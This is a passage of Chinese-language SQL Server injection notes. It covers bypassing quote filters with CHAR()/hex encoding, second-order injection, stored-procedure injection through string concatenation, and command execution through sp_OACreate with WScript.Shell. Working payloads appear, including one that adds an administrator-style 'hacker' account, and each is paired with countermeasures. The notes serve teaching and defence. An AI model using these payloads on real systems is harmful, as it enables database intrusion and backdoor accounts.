利用 CHAR() 或十六進位構造字串,繞過單引號過濾:
INSERT INTO users VALUES (666,
CHAR(0x63)+CHAR(0x68)+CHAR(0x72)+CHAR(0x69)+CHAR(0x73), -- 'chris'
CHAR(0x63)+CHAR(0x68)+CHAR(0x72)+CHAR(0x69)+CHAR(0x73),
0xFFFF);
數值型欄位更直接:SQL Server 自動將數值隱式轉換為 varchar。
攻擊者先存入惡意資料(經過濾),後續功能信任該資料拼接 SQL 觸發。核心對策:任何動態 SQL 皆不可信任外部輸入,包含資料庫讀回資料。
誤區:用預存程序就安全。實則:若應用層拼接 SQL 字串再傳給預存程序(如 EXEC('sp_who ''1''; SELECT * FROM sysobjects')),注入依然生效。唯有使用 ADO Command 物件 + 參數集合 呼叫預存程序,才能保證參數化。
SQL Server 內建 sp_OACreate, sp_OAMethod, sp_OAGetProperty 允許在 T-SQL 中建立 COM 物件:
WScript.Shell → 執行任意命令(notepad.exe 或 cmd.exe /c ...)Scripting.FileSystemObject → 讀寫檔案、建立 ASP/Web ShellSpeech.VoiceText → 讓伺服器發聲(示範任意代碼執行能力)DECLARE @o INT;
EXEC sp_OACreate 'WScript.Shell', @o OUT;
EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c net user hacker P@ssw0rd /add';
防禦: 嚴格控制 sysadmin 權限,移除不必要的 OLE 自動化預存程序公開權限,啟用「CLR 嚴格安全性」,最小化服務帳號權限。